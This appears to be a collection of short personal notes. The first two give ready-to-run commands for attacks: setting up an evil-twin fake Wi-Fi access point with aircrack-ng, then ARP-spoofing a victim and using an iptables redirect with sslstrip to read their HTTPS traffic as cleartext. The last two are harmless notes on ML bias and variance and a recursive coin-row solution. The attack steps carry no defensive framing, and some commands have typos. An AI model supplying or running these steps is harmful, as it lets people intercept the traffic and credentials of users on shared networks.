CamiloGarciaLaRotta

Environment: NIC with monitor mode capabilities

1. Enable monitor mode in NIC
- Take down the internet facing interface: ifconfic INTERFACE down
- Enable monitor mode: iwconfig INTERFACE mode monitor
- Kill all processes that might conflict with aircrack: airmon-ng check INTERFACE, kill PID

2. Set up fake Access Point
- Retrieve network parameters of WiFI access point: airodump-ng INTERFACE
- Create fake Access Point: airbase-ng -a MAC --essid SSID -c CHANNEL INTERFACE

CamiloGarciaLaRotta

1. Once conencted to a given LAN, determine the default gateway: route -n
2. Scan the network serviced by the gateway: nmap IP_RANGE
3. Enable port forwarding: echo “1” > /proc/sys/net/ipv4/ip_forward
4. Place your machine in the middle of the communication: arpspoof -i INTERFACE -t VICTIM_IP GATEWAY_IP
5. Modify the firewall to redirect inbound HTTP traffic to SSL strip listenign port: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT –to-port 1000
6. Begin stripping SSL from HTTPS communication: sslstrip -l 1000
7. Follow clear text packets: tail -f sslstrip.log

CamiloGarciaLaRotta

The prediction error of a ML algorithm depends on 2 main factors:
  - Bias error 
    -> aim to keep low
    -> simplifying assumptions made by a model: underfitting
    -> can be reduced by decreasing regularization and adding features
    -> parametric algorithms have hight bias
    -> non-parametric algorithms have low bias algorithms
  - Variance error 
    -> aim to keep low

CamiloGarciaLaRotta

Coin Row problem:
  - C_1 - C_n coins in a row
  - Choose combination that maximizes $
  - Can't choose 2 consecutive coins

function optChoice(coinIndex, coinRow){
  if (coinIndex < 0) return 0
  return Math.max((coinRow[coinIndex] + optChoice(coinIndex-2,coinRow)), optChoice(coinIndex-1,coinRow))
}